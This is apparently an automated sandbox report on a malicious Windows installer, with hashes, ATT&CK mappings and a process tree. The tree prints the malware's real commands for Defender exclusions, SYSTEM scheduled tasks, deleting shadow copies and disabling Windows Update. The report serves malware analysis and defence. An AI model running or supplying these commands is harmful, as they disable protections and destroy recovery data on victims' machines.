f0771743264a1cdf7b9fc68a447f8caf757b35b6bf96c4a6180def30f9d619b3

Analysis

max time kernel
150s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/10/2026, 15:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.2.0.06.exe
Size 30.5MB
Sample261024-sehrbsct5q
SHA256 f0771743264a1cdf7b9fc68a447f8caf757b35b6bf96c4a6180def30f9d619b3
MD5 9c9671287a51a2e960ad5522a4e212ac
SHA1 3170af9e327b1938c20e6dace94e5b709e74c4f2
SHA512 7931d773fd9fc07d4c00688ce3fc804a28204cf7fc16fd16323dfa7e1ab9d08706f038c21ea470ff84603702621f768bef67b7d3713faec920feb2477d3ff6ca
SSDEEP 196608:zZKC/p+HINcZBAwLYhuR9lfn+OfIwYooiJiGD5y4IIYCYO:YC/p+HuPOc4z
TLSH
T1D067181BFA809EB7F546963548DB4BA07372E9761752078F70B0B32DBFAE3802E81545
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\ReWoJ3 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3880	powershell.exe
2056	powershell.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 2 IoCs

pid	Process
828	nelvaP.exe
6016	nelvaP.exe

Loads dropped DLL 2 IoCs

pid	Process
828	nelvaP.exe
6016	nelvaP.exe

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2588	icacls.exe
3412	icacls.exe
3396	icacls.exe
2324	icacls.exe
4772	icacls.exe
3260	icacls.exe
3352	icacls.exe
1668	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\ReWoJ3\\nelvaP.exe\""	nelvaP.exe

Indicator Removal: Clear Persistence 1 TTPs 6 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
2800	cmd.exe
2000	cmd.exe
3376	cmd.exe
2464	cmd.exe
6096	cmd.exe
3000	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	nelvaP.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\1y9jlb\XPSPLOG.dll	nelvaP.exe
File created	C:\Program Files (x86)\1y9jlb\image.png	nelvaP.exe
File opened for modification	C:\Program Files (x86)\1y9jlb\XPSPLOG.dll	nelvaP.exe
File opened for modification	C:\Program Files (x86)\1y9jlb\thumbs.db	nelvaP.exe
File opened for modification	C:\Program Files (x86)\1y9jlb	nelvaP.exe
File created	C:\Program Files (x86)\1y9jlb\lYbiL7.exe	nelvaP.exe
File created	C:\Program Files (x86)\1y9jlb\thumbs.db	nelvaP.exe
File opened for modification	C:\Program Files (x86)\1y9jlb\lYbiL7.exe	nelvaP.exe
File opened for modification	C:\Program Files (x86)\1y9jlb\image.png	nelvaP.exe

Launches sc.exe 3 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4568	sc.exe
4352	sc.exe
3456	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 13 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3024	cmd.exe
3348	cmd.exe
3320	cmd.exe
5176	cmd.exe
5092	cmd.exe
5484	cmd.exe
2620	cmd.exe
6116	cmd.exe
1340	cmd.exe
1384	cmd.exe
2688	cmd.exe
2480	cmd.exe
3520	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	nelvaP.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	nelvaP.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.06.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.06.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4116	schtasks.exe
5900	schtasks.exe
4764	schtasks.exe
3800	schtasks.exe
1180	schtasks.exe
3420	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4372	install.2.0.06.exe
4372	install.2.0.06.exe
4372	install.2.0.06.exe
4372	install.2.0.06.exe
4372	install.2.0.06.exe
4372	install.2.0.06.exe
4372	install.2.0.06.exe
4372	install.2.0.06.exe
4372	install.2.0.06.exe
4372	install.2.0.06.exe
4372	install.2.0.06.exe
4372	install.2.0.06.exe
4372	install.2.0.06.exe
4372	install.2.0.06.exe
4372	install.2.0.06.exe
4372	install.2.0.06.exe
4372	install.2.0.06.exe
4372	install.2.0.06.exe
4372	install.2.0.06.exe
4372	install.2.0.06.exe
4372	install.2.0.06.exe
4372	install.2.0.06.exe
4372	install.2.0.06.exe
4372	install.2.0.06.exe
4372	install.2.0.06.exe
4372	install.2.0.06.exe
4372	install.2.0.06.exe
4372	install.2.0.06.exe
4372	install.2.0.06.exe
4372	install.2.0.06.exe
4372	install.2.0.06.exe
4372	install.2.0.06.exe
828	nelvaP.exe
828	nelvaP.exe
828	nelvaP.exe
828	nelvaP.exe
828	nelvaP.exe
828	nelvaP.exe
828	nelvaP.exe
828	nelvaP.exe
828	nelvaP.exe
828	nelvaP.exe
828	nelvaP.exe
828	nelvaP.exe
828	nelvaP.exe
828	nelvaP.exe
828	nelvaP.exe
828	nelvaP.exe
828	nelvaP.exe
828	nelvaP.exe
828	nelvaP.exe
828	nelvaP.exe
828	nelvaP.exe
828	nelvaP.exe
828	nelvaP.exe
828	nelvaP.exe
828	nelvaP.exe
828	nelvaP.exe
828	nelvaP.exe
828	nelvaP.exe
828	nelvaP.exe
828	nelvaP.exe
828	nelvaP.exe
828	nelvaP.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	2056	powershell.exe
Token: SeIncreaseQuotaPrivilege	2056	powershell.exe
Token: SeSecurityPrivilege	2056	powershell.exe
Token: SeTakeOwnershipPrivilege	2056	powershell.exe
Token: SeLoadDriverPrivilege	2056	powershell.exe
Token: SeSystemProfilePrivilege	2056	powershell.exe
Token: SeSystemtimePrivilege	2056	powershell.exe
Token: SeProfSingleProcessPrivilege	2056	powershell.exe
Token: SeIncBasePriorityPrivilege	2056	powershell.exe
Token: SeCreatePagefilePrivilege	2056	powershell.exe
Token: SeBackupPrivilege	2056	powershell.exe
Token: SeRestorePrivilege	2056	powershell.exe
Token: SeShutdownPrivilege	2056	powershell.exe
Token: SeDebugPrivilege	2056	powershell.exe
Token: SeSystemEnvironmentPrivilege	2056	powershell.exe
Token: SeRemoteShutdownPrivilege	2056	powershell.exe
Token: SeUndockPrivilege	2056	powershell.exe
Token: SeManageVolumePrivilege	2056	powershell.exe
Token: 33	2056	powershell.exe
Token: 34	2056	powershell.exe
Token: 35	2056	powershell.exe
Token: 36	2056	powershell.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 828 wrote to memory of 2056	828	nelvaP.exe	90
PID 828 wrote to memory of 2464	828	nelvaP.exe	92
PID 2464 wrote to memory of 4764	2464	cmd.exe	94
PID 2464 wrote to memory of 4884	2464	cmd.exe	95
PID 2464 wrote to memory of 1756	2464	cmd.exe	97
PID 828 wrote to memory of 6096	828	nelvaP.exe	100
PID 6096 wrote to memory of 3800	6096	cmd.exe	104
PID 6096 wrote to memory of 5824	6096	cmd.exe	105
PID 6096 wrote to memory of 1480	6096	cmd.exe	107
PID 828 wrote to memory of 3000	828	nelvaP.exe	108
PID 828 wrote to memory of 2800	828	nelvaP.exe	110
PID 3000 wrote to memory of 1180	3000	cmd.exe	112
PID 2800 wrote to memory of 3420	2800	cmd.exe	113
PID 3000 wrote to memory of 4156	3000	cmd.exe	114
PID 2800 wrote to memory of 2604	2800	cmd.exe	115
PID 3000 wrote to memory of 3804	3000	cmd.exe	117
PID 2800 wrote to memory of 2976	2800	cmd.exe	118
PID 828 wrote to memory of 2000	828	nelvaP.exe	119
PID 2000 wrote to memory of 4116	2000	cmd.exe	121
PID 2000 wrote to memory of 4284	2000	cmd.exe	125
PID 2000 wrote to memory of 4028	2000	cmd.exe	127
PID 3024 wrote to memory of 3888	3024	cmd.exe	130
PID 2620 wrote to memory of 3260	2620	cmd.exe	131
PID 3520 wrote to memory of 796	3520	cmd.exe	132
PID 2480 wrote to memory of 1952	2480	cmd.exe	133

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.06.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.06.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:4372

C:\Users\Public\ReWoJ3\nelvaP.exe
"C:\Users\Public\ReWoJ3\nelvaP.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:2056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\ReWoJ3\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2464
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\ReWoJ3\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4764
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4884
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:6096
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3800
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5824
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3000
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1180
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4156
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2800
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3420
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2604
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2000
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4116
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4284
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4028
- C:\Program Files (x86)\1y9jlb\lYbiL7.exe
  "C:\Program Files (x86)\1y9jlb\lYbiL7.exe"
  2⤵
  PID:5244
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:3348
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\1y9jlb" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:3320
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\1y9jlb" /inheritance:r
      4⤵
      Modifies file permissions
      PID:1668
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:5176
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:6116
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:5092
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\1y9jlb\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:3376
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\1y9jlb\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5900
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:3676
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:1868
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    PID:1340
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      PID:5904
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      PID:4108
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      PID:4568
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:4352
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:3456
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Modifies file permissions
      PID:4772
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      PID:4840
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      PID:3888
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3880
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\1y9jlb" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    PID:5484
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\1y9jlb\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:1384
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\1y9jlb\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:3352
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\1y9jlb\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:2688

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\ReWoJ3" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2480
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\ReWoJ3" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1952

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:3920

C:\Users\Public\ReWoJ3\nelvaP.exe
"C:\Users\Public\ReWoJ3\nelvaP.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:6016

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3520
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:796

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3024
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3888

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2620
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3260

C:\Program Files (x86)\1y9jlb\lYbiL7.exe
"C:\Program Files (x86)\1y9jlb\lYbiL7.exe"
1⤵
PID:1372

C:\Program Files (x86)\1y9jlb\lYbiL7.exe
"C:\Program Files (x86)\1y9jlb\lYbiL7.exe"
1⤵
PID:2904

C:\Program Files (x86)\l4z56M5\y3T3F1o2.exe
"C:\Program Files (x86)\l4z56M5\y3T3F1o2.exe"
1⤵
PID:5424

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Program Files (x86)\1y9jlb\lYbiL7.exe" /inheritance:r
1⤵
- Modifies file permissions
PID:2588

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Program Files (x86)\1y9jlb\lYbiL7.exe" /grant:r Users:(RX) /deny Users:(DE)
1⤵
- Modifies file permissions
PID:3412

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Program Files (x86)\1y9jlb\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
1⤵
- Modifies file permissions
PID:3396

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Program Files (x86)\1y9jlb\image.png" /grant:r Users:(RX) /deny Users:(DE)
1⤵
- Modifies file permissions
PID:2324

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Program Files (x86)\1y9jlb\thumbs.db" /inheritance:r
1⤵
- Modifies file permissions
PID:3260

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

